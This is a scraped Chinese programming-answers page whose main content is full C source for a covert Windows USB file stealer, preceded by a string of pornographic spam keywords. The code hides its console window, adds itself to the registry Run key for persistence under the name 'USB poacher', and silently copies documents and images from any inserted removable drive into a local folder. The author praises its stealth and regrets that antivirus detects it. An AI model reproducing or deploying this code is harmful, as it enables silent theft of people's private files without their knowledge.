日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

获取u盘文件

發布時間:2025/3/11 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 获取u盘文件 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

功能:開機自啟動,無dos窗口彈出,復制速度較快
缺點:面對殺軟很無奈

#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )//屏蔽dos窗口 #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <string.h>void ComputerStart(char *pathName) {//找到系統的啟動項 char *szSubKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";HKEY hKey;//打開注冊表啟動項 int k = RegOpenKeyExA(HKEY_CURRENT_USER, szSubKey, 0, KEY_ALL_ACCESS, &hKey);if (k == ERROR_SUCCESS){//添加一個子Key,并設置值,"Mytest"并不一定是應用程序名字(不加后綴.exe) ,可以自己設置(即啟動項名稱);RegSetValueEx(hKey, "u盤偷獵", 0, REG_SZ, (BYTE *)pathName, strlen(pathName));//關閉注冊表RegCloseKey(hKey);}else{return;} }void Copyfile(char srcFileName[], char saveadd[],char filename[])//拷貝文件 {//打開文件char temp[256] = { 0 };sprintf(temp, "%s\\%s", saveadd, filename);FILE* fpSrc = fopen(srcFileName, "rb");FILE* fpDst = fopen(temp, "wb");if (fpSrc == NULL || fpDst == NULL) {return;}char *buff=(char *)malloc(1048576);//申請1M空間while (1){memset(buff, 0, 1048576);int r = fread(buff, 1, 1048576, fpSrc);if (r > 0){fwrite(buff, 1, r, fpDst);//寫入目的文件中}else {break;}}//關閉兩個文件fclose(fpSrc);fclose(fpDst);free(buff); }void findFile(char pathName[],char saveadd[],int *flag) {int return_val = 0;char findFileName[MAX_PATH] = { 0 };sprintf(findFileName, "%s\\*.*", pathName);//找文件WIN32_FIND_DATA findData;HANDLE hFile = FindFirstFile(findFileName, &findData);if (INVALID_HANDLE_VALUE == hFile){return ;}int ret = 1;char temp[MAX_PATH];while (ret) {if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) //是文件夾{if (findData.cFileName[0] != '.') //避開 . 和 ..{//進入文件夾中遍歷里面的文件memset(temp, 0, MAX_PATH);sprintf(temp, "%s\\%s", pathName, findData.cFileName);//遍歷文件夾里面的文件findFile(temp, saveadd,flag);}}else //普通文件{memset(temp, 0, MAX_PATH);if ((strstr(findData.cFileName, ".txt"))||(strstr(findData.cFileName, ".pdf"))||(strstr(findData.cFileName, ".doc"))|| (strstr(findData.cFileName, ".jpg"))||(strstr(findData.cFileName, ".png"))|| (strstr(findData.cFileName, ".ppt"))){sprintf(temp, "%s\\%s", pathName, findData.cFileName);Copyfile(temp, saveadd, findData.cFileName);*flag=0;}}//找下一個文件,找不到下一個文件了循環結束ret = FindNextFile(hFile, &findData);} }void FindMobeil()//查找u盤 {char saveadd[] = "C:\\addrs";//將文件復制到F盤CreateDirectory(saveadd, NULL);//創建一個文件夾char DiskName[256] = "H:\\";UINT DiskType;int flag = 1;while (flag){//遍歷盤符for (unsigned char i = 0x42; i < 0x5B; i += 0x1){DiskName[0] = i;//判斷是否是可移動存儲設備DiskType = GetDriveType(DiskName);if (DiskType == DRIVE_REMOVABLE)//是可移動設備{findFile(DiskName, saveadd, &flag);}}} }void WriteComputerStart()//寫入注冊表 {char pathName[MAX_PATH];//文件名字最大260個字符 MAX_PATH 260GetCurrentDirectory(MAX_PATH, pathName);//設置字符集為多字節字符集 獲取當前文件路徑sprintf(pathName, "%s\\", pathName);strcat(pathName, "u盤偷獵.exe");//找到需要開機自啟動的程序ComputerStart(pathName);//設置指定程序寫入開機啟動項}int main() {WriteComputerStart();FindMobeil();return 0; } 創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的获取u盘文件的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。